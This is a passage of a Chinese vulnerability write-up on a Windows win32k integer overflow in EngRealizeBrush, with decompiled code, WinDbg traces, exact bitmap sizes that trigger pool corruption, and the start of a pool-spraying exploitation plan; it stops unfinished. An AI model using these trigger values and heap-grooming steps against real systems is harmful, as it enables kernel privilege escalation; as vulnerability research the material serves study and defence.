在函数 bGetRealizedBrush 中,只有判断目标笔刷 BRUSH 对象 +0x10 字节偏移成员域的值小于 6 时,才会将传给 EngRealizeBrush 函数调用的参数 psoMask 指定为与 psoPattern 相同的 SURFOBJ 对象;否则,该参数将始终为空,即不使用笔刷透明掩码。

  v8 = *((_DWORD *)pBrush + 4);
  if ( v8 >= 6 )
  {
    [...]
    goto LABEL_95;
  }
  SURFREF::vLockAll((SURFREF *)&v75, *((struct HSURF__ **)a2 + v8 + 0xE9));
  v9 = v75;
  if ( v75 )
  {
    v72 = (struct _SURFOBJ *)(v75 + 0x10);
    [...]
    goto LABEL_124;
  }

函数 bGetRealizedBrush 有条件地指定 psoMask 参数

前面的分析已经提到,当前的 BRUSH 对象在初始化时 0x10 字节偏移的成员域被赋值为 0xD 数值,表示这是一个图案笔刷;在 bGetRealizedBrush 函数调用时,观测到该成员域的值未曾被修改:

win32k!bGetRealizedBrush+0x6c:
93650594 83f806          cmp     eax,6
kd> r eax
eax=0000000d

BRUSH+0x10 字节偏移的成员域仍为 0xD 数值

这样一来,笔刷透明掩码参数 psoMask 将始终指向空值,那么在函数 EngRealizeBrush 中其将不会影响变量 ulSizeTotal 的值。


触发漏洞

根据以上分析得出的结论,参数 psoTarget 指向的 SURFOBJ 对象的成员域 iBitmapFormat 值由当前系统显示器颜色设置决定,默认为 32BPP 格式枚举值;参数 psoPattern 指向的 SURFOBJ 对象的成员域 sizlBitmap 值由验证代码创建笔刷对象时传入参数的图案位图的高度宽度数值决定。因此,适当控制验证代码中传入参数的数值,将会满足漏洞关键变量发生整数向上溢出的条件。

根据结论获得以下公式:

BufferBytes = ((sizlPat_cx * 32) >> 3) * sizlPat_cy + 0x44 + 0x40;

如同初始验证代码传入的那样,当宽度值为 0x10 而高度值为 0x100 时,得到分配内存大小为 0x4084 字节,这与前面观测到的数据一致。

当前已知,变量 ulSizeTotal 是 32 位的无符号整数。当对无符号整数运用加法、乘法等可以增大数值的运算时,如果运算的结果超出 32 位整数的 0xFFFFFFFF 边界值,那么高位将会丢失,仅留下运算结果的最低 32 位数值存储在目标寄存器中。则根据以上运算公式,要满足 BufferBytes 数值溢出的条件,另外由于分配的内存大小需要大于 0 字节,则需满足以下不等式:

sizlPat_cx * sizlPat_cy > 0x3FFFFFE0;

不等式满足时,BufferBytes 数值将恰好发生整数溢出,满足 BufferBytes > 0x(1)0000 0000 条件。修改验证代码中创建位图传入参数的高度和宽度数值以满足前述不等式:

hbmp = CreateBitmap(0x36D, 0x12AE8F, 1, 1, NULL);

修改创建位图传入参数的高度和宽度数值

验证代码适当增大位图的宽度和高度,将传入参数的宽度和高度值指定为 0x36D0x12AE8F 数值,使溢出后的缓冲区分配大小成为 0x10 字节。缓冲区分配成功后,函数 EngRealizeBrush 对位于缓冲区头部的 ENGBRUSH 对象的成员域进行初始化赋值。可以观测到赋值前后内存块数据的区别:

kd> dc fe7c87e0
fe7c87e0  46030001 72626547 00000000 00000000  ...FGebr........
fe7c87f0  00000000 00000000 46050003 6b687355  ...........FUshk
fe7c8800  fd6f6298 00000000 fe803b08 40000008  .bo......;.....@
fe7c8810  00000039 0000020a 00000000 00000000  9...............
fe7c8820  46140005 38616c47 010804e1 00000001  ...FGla8........
fe7c8830  80000000 00000000 00000202 00000000  ................
fe7c8840  0000053e 00000000 00000000 00000000  >...............
fe7c8850  00000000 00000000 00000000 00000000  ................
[...]
kd> dc fe7c87e0
fe7c87e0  46030001 72626547 00000000 00000010  ...FGebr........
fe7c87f0  00000000 00000000 0000036d 0000036d  ........m...m...
fe7c8800  0012ae8f 00000db4 fe7c8828 40000008  ........(.|....@
fe7c8810  00000039 0000020a 00000000 00000000  9...............
fe7c8820  46140005 00000006 010804e1 00000001  ...F............
fe7c8830  80000000 00000000 00000202 00000000  ................
fe7c8840  0000053e 00000000 00000000 00000000  >...............
fe7c8850  00000000 00000000 00000000 00000000  ................

下一内存块被覆盖前后数据对比

初始化赋值操作将当前 ENGBRUSH 所在内存块的下一内存块 POOL_HEADER 头部结构破坏。接下来函数调用 SURFMEMOBJ::bCreateDIB 并传入前面分配的缓冲区 +0x40 字节偏移地址作为独立的位图像素数据区域参数 pvBitsIn 来创建新的设备无关位图对象。新创建的设备无关位图对象的像素位数格式与参数 psoTarget 指向的目标位图表面 SURFOBJ 对象的成员域 iBitmapFormat 一致。

  *(_DWORD *)(pengbrush + 4) = ulSizeSet;
  *(_DWORD *)(pengbrush + 0x1C) = cjScanPat;
  *(_DWORD *)(pengbrush + 0x10) = cxPatRealized;
  cxPat = cxPatRealized;
  if ( bsoMaskNull )
    cxPat = sizlPat_cx;
  cyPat = sizlPat_cy;
  *(_DWORD *)(pengbrush + 0x14) = cxPat;
  *(_DWORD *)(pengbrush + 0x18) = cyPat;
  *(_DWORD *)(pengbrush + 0x20) = pengbrush + 0x40;
  iFormat = (int)psoPattern;
  *(_DWORD *)(pengbrush + 0x3C) = psoPattern;
  dbmi_cy = cyPat;
  dbmi_iFormat = iFormat;
  v47 = 0;
  v48 = 1;
  v63 = 0;
  v64 = 0;
  dbmi_cx = cxPatRealized;
  SURFMEM::bCreateDIB( (SURFMEM *)&v63, (struct _DEVBITMAPINFO *)&dbmi_iFormat, *(PVOID *)(pengbrush + 0x20), 0, 0, 0, 0, 0, 1);
  if ( !v63 )
    goto LABEL_47;

函数 EngRealizeBrush 调用 SURFMEM::bCreateDIB 创建位图

函数 SURFMEMOBJ::bCreateDIB 在根据参数计算位图像素数据区域大小时,由于没有增加 0x440x40 两个 ENGBRUSH 对象的大小,所以并未发生溢出而得到 0xFFFFFF8C 数值,超过函数限制的 0x7FFFFFFF 数据区域最大范围,致使函数调用失败。

  if ( BaseAddress )
  {
    if ( a9 )
    {
      eq = bUnk ? (LONGLONG)*((_DWORD *)pdbmi + 3) : cjScanTemp * (LONGLONG)*((_DWORD *)pdbmi + 2);
      if ( eq > 0x7FFFFFFF )
        return 0;
    }
    [...]
  }

函数 SURFMEMOBJ::bCreateDIB 判断位图像素数据区域大小的有效性

返回到函数 EngRealizeBrush 时,由于位图对象创建失败,因此函数继续向上级返回。前面的章节已经提到,在函数 pvGetEngRbrush 中判断 bGetRealizedBrush 函数调用返回失败时,将释放刚才分配的缓冲区内存。

编译后在测试环境执行,可以观测到由于整数向上溢出造成分配缓冲区过小、使后续代码逻辑触发缓冲区溢出漏洞导致系统 BSOD 的发生:

kd> !analyze -v
*******************************************************************************
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *
*******************************************************************************

BAD_POOL_HEADER (19)
[...]
Arguments:
Arg1: 00000020, a pool block header size is corrupt.
Arg2: fd6c4250, The pool entry we were looking for within the page.
Arg3: fd6c4268, The next pool entry.
Arg4: 4a030018, (reserved)

[...]

STACK_TEXT:  
96f1b53c 83f35083 00000003 e2878267 00000065 nt!RtlpBreakWithStatusInstruction
96f1b58c 83f35b81 00000003 fd6c4250 000001ff nt!KiBugCheckDebugBreak+0x1c
96f1b950 83f77c6b 00000019 00000020 fd6c4250 nt!KeBugCheck2+0x68b
96f1b9cc 936534c3 fd6c4258 00000000 ffa07648 nt!ExFreePoolWithTag+0x1b1
96f1b9e0 936c9ae6 ffa07648 ffa07648 ffb6e008 win32k!pvGetEngRbrush+0x33
96f1ba44 936ee723 ffb6e018 00000000 00000000 win32k!EngBitBlt+0x2bf
96f1baa8 936ee8ab ffa07648 96f1bb10 96f1bb00 win32k!GrePatBltLockedDC+0x22b
96f1bb54 936eed96 96f1bbe8 0000f0f0 002cf9e8 win32k!GrePolyPatBltInternal+0x176
96f1bc18 83e941ea 1a0101f5 00f00021 002cf9e8 win32k!NtGdiPolyPatBlt+0x1bc
96f1bc18 774670b4 1a0101f5 00f00021 002cf9e8 nt!KiFastCallEntry+0x12a
002cf950 77056217 770561f9 1a0101f5 00f00021 ntdll!KiFastSystemCallRet
002cf954 770561f9 1a0101f5 00f00021 002cf9e8 GDI32!NtGdiPolyPatBlt+0xc
002cf980 0088b0c5 1a0101f5 00f00021 002cf9e8 GDI32!PolyPatBlt+0x1e7

漏洞验证代码触发异常

根据 WinDBG 捕获的 BSOD 信息显示,发生的异常编码是 BAD_POOL_HEADER 错误的内存池头部,异常发生在函数 pvGetEngRbrush 调用 ExFreePoolWithTag 释放前面分配的 ENGBRUSH 缓冲区期间。由于整数移除导致后续代码逻辑触发缓冲区溢出漏洞,覆盖了下一个内存块的 POOL_HEADER 内存块头部结构,在函数 ExFreePoolWithTag 中释放当前内存块时,校验同一内存页中的下一个内存块的有效性;没有校验通过则抛出异常码为 BAD_POOL_HEADER 的异常。

0x3 利用

前面验证了漏洞的触发机理,接下来将通过该漏洞实现任意地址读写的利用目的。前面的章节已经指出,整数溢出漏洞发生后,在函数后续的代码逻辑中,初始化 ENGBRUSH 对象的成员域时,覆盖了下一内存块的头部结构和内存数据。


内存布局

利用的第一步是内存布局。在以前的分析文章中提到,内核在释放内存块时,如果内存块位于所在内存页的末尾,则不会进行相邻内存块头部结构的有效性验证。根据 Windows 内核池内存分配的逻辑,分配的内存块小于 0x1000 字节时,内存块大小越大,其被分配在内存页首地址的概率就越大。而分配较小内存缓冲区时,内核将首先搜索符合当前请求内存块大小的空间,将内存块优先安置在这些空间中。利用内核池风水技术,首先在内核中通过相关 API 分配大量特定大小的内存块以占用对应内存页的起始位置,为漏洞函数分配内存缓冲区时预留内存页末尾的空间,以防止在释放内存时由于 POOL_HEADER 内存块头部校验导致的 BSOD 发生。

根据以上的分析,我们当前实现的漏洞验证代码导致函数 EngRealizeBrush 分配缓冲区大小为 0x10 字节,加上 POOL_HEADER 结构的 8 字节,总计占用 0x18 字节的内存块空间。那就需要在进行内存布局时,提前分配 0xFE8 字节的内存块缓冲区。

分配用来占用空间的内存块缓冲区通过熟悉的 CreateBitmap 函数实现。函数 CreateBitmap 用于根据指定的宽度、高度和颜色格式在内核中创建位图表面对象。调用该函数时,最终在内核函数 SURFMEM::bCreateDIB 中分配内存缓冲区并初始化位图表面 SURFACE 对象和位图像素数据区域,内存块类型为分页会话池(0x21)内存。当位图表面对象的总大小在 0x1000 字节之内的话,分配内存时,将分配对应位图像素数据大小加 SURFACE 管理对象大小的缓冲区,直接以对应的 SURFACE 管理对象作为缓冲区头部,位图像素数据紧随其后存储。在当前系统环境下,SURFACE 对象的大小为 0x154 字节。

这样一来,位图像素数据区域的占用大小就成为:

0xFE8 - 8 - 0x154 = 0xE8C

当分配位图的宽度为 4 的倍数且像素位数格式为 8 位时,位图像素数据的大小直接等于宽度和高度的乘积。根据以上,可以通过以下验证代码片段分配大量的 0xFE8 字节的内存缓冲区:

for (LONG i = 0; i < maxTimes; i++)
{
    hbitmap[i] = CreateBitmap(0xE8C, 0x01, 1, 8, NULL);
}

分配位图占位对象的验证代码片段


填充空隙

在分配大量的位图对象缓冲区之后,如果我们立刻开始调用函数 PolyPatBlt 以求触发漏洞,那么很大可能分配的缓冲区不在我们预留的内存页末尾位置,这是因为系统环境的内存中之间就存在大量的合适大小的内存空隙,在漏洞所在函数中分配内存缓冲区时,内核不一定会将该缓冲区放置在我们期望的位置。这样一来,我们需要提前填充大量的已存在的 0x18 字节大小的内存空隙。

另一方面,在进行内核内存布局时,通常我们并不能保证用来占用空间的大量内核对象同时也能够作为可利用的目标对象来使用,这就需要在布局时释放掉前面分配的占位缓冲区,再分配合适大小的垫片及一个或多个可利用内核对象的组合。这样一来,同样需要在释放先前分配缓冲区时,首先用来占用内存页末尾间隙的较小的缓冲区。


根据前面章节的分析和 IDA 反汇编代码计算得到 ENGBRUSH 结构的部分成员域定义:

typedef struct _ENGBRUSH
{
  DWORD dwUnk00;       //<[00,04]
  ULONG cjSize;        //<[04,04] length of the allocation
  DWORD dwUnk08;       //<[08,04]
  DWORD dwUnk0c;       //<[0C,04]
  DWORD cxPatRealized; //<[10,04]
  SIZEL sizlBitmap;    //<[14,08] cxPat & cyPat
  DWORD cjScanPat;     //<[1C,04] scanline length
  PBYTE pjBits;        //<[20,04] bitmap bits data pointer
  DWORD dwUnk24;       //<[24,04]
  DWORD dwUnk28;       //<[28,04]
  DWORD dwUnk2c;       //<[2C,04]
  DWORD dwUnk30;       //<[30,04]
  DWORD dwUnk34;       //<[34,04]
  DWORD dwUnk38;       //<[38,04]
  DWORD iFormat;       //<[3C,04] bit format from target surfobj
  BYTE aj[4];          //<[40,xx] bitmap bits data base
} ENGBRUSH, *PENGBRUSH;

结构体 ENGBRUSH 的部分定义

在以上结构定义的成员域中,除最后一个成员域 aj 之外,函数只对未被标记为 dwUnkXX 变量名的成员域进行了赋值;通过成员域重合位置计算发现,如果当前 ENGBRUSH 对象所在内存块的下一内存块中存储的是位图表面 SURFACE 对象,缓冲区溢出发生后其成员域 SURFACE->so.sizlBitmapSURFACE->so.pvScan0 都无法被覆盖成合适的值。因此在利用该漏洞时不能使用通常的覆盖位图 SURFOBJ 对象的成员域 sizlBitmappvScan0 实现直接任意内存地址读写的利用方法。

ENGBRUSH 溢出覆盖相邻的 SURFACE 对象
ENGBRUSH 溢出覆盖相邻的 SURFACE 对象

但是我同时注意到,当前 ENGBRUSH 对象的成员域 iFormat 对应的成员是下一内存页中的位图表面 SURFACE 对象的成员域 SURFACE->so.sizlBitmap.cy 的位置,也就是说函数在为 ENGBRUSH 对象的成员域 iFormat 赋值时,实际上覆盖了下一内存块中 SURFOBJ 对象的 sizlBitmap.cy 成员域。据前面的分析可知,成员域 iFormat 被赋值为 0x6 数值。借用这一特性,我们可以通过在同一内存页中安排两个内核对象的方式来实现利用目的。


正在编写,未完待续。

文章来源: https://xiaodaozhi.com/exploit/70.html